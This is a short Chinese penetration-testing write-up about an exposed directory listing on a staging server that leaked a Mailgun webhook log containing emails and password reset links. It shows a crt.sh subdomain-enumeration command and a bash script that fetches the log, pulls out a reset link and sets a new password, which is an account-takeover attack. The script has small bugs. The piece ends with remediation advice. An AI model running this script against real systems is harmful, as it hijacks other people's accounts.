渗透测试实战:利用列目录漏洞重置密码

愣娃 嘶吼专业版

列目录是最常见的错误配置之一,列目录漏洞到底影响多严重,取决于关键性文件的出现。

最近,我在渗透测试中,我遇到了一个有趣的目录列表,并且可以利用它。通过枚举,我发现了一个子域,这是分段服务器,并可以通过互联网访问。


[nishaanthguna:~/essentials]$ curl --silent https://crt.sh/?q=%.domain.com | sed 's/</?[^>]+>//g' | grep -i domain.com | tail -n +9 | cut -d ">" -f2 | cut -d "<" -f1
      www.domain.com
      blog.domain.com
      stag.domain.co

在进行端口扫描时,发现端口8080已打开,并有一个目录列表,我发现有个log日志。

从log中,我发现日志不仅泄露了个人和开发人员的电子邮件地址,还有重置密码链接。像这样的东西。

日志文件中,可能出现这样的功能场景:

2.受害者点击发送到他们的电子邮件地址的链接。

3.攻击者获取密码重置令牌,因为目录列表并重置密码。

我写了一个快速的脚本来查看mailgun-webhook.log文件,搜索重置链接并自动重置密码。


curl https://domain.com/mailgun-webhook.log | tee direct.txt
if grep -Fxq "reset" direct.txt
then
 echo "[+]Found a Password Reset link"
 link=$(cat direct.txt | grep -i reset | cut -d "," -f6  |
 cut -d "" -f1 | head -n 1)
 curl '$link'-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6)'
 --data 'password=testpassword%21%21&confirmation=testpassword%21%21' --compressed
 echo "[+]Password changed to testpassword!!"
else
 echo "[-]Reset link not found"
fi

建议禁用目录列表,不要以明文形式存储敏感信息,例如凭证,密码重置链接,API密钥。